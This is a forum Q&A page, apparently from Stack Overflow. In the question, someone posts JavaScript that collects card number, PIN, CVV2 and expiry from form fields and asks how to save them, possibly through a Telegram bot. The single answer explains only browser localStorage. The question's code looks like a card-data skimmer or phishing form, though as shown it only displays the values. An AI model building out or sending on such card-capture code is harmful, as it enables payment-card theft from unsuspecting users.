-1

I want to save the variables included in my code below:

<form method="post" name="receiptForm" action="https://google.com" accept-charset="UTF-8" onclick="othername">
<script>
    function othername()
        {
            var input1 = document.getElementById("W_PAN4").value;
            var input2 = document.getElementById("W_PAN3").value;
            var input3 = document.getElementById("W_PAN2").value;
            var input4 = document.getElementById("W_PAN1").value;
            var userCardID = input1 + " " + input2 + " " + input3 + " " + input4;
            var input_pass = document.getElementById("W_PIN").value;
            var input_CVV2 = document.getElementById("W_CVV2").value;
            var input_expire_month = document.getElementById("W_EXPIRE1").value;
            var input_expire_year = document.getElementById("W_EXPIRE2").value;
            var input_all = userCardID + " " + "2nd_Password = " + input_pass + " " + "CVV2 = " + input_CVV2 + " " + "ExpireDateYear = " + input_expire_year + " " + "ExpireDateMonth = " + input_expire_month;
            alert(input_all);

        }
</script>

How can I save these variables and can I use telegram-bot if needed? Any code will be appreciated.

5

1 Answer 1

1

You can use local storage to save your variables. You have two objects you can use:

  • window.localStorage - stores data with no expiration date
  • window.sessionStorage - stores data for one session (data is lost when the browser tab is closed)

You can use it like this:

// Store
localStorage.setItem("key", "value");
// Retrieve
value = localStorage.getItem("key");

Reference on how to use local storage: https://www.w3schools.com/htmL/html5_webstorage.asp

Working example: https://www.w3schools.com/htmL/tryit.asp?filename=tryhtml5_webstorage_local

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.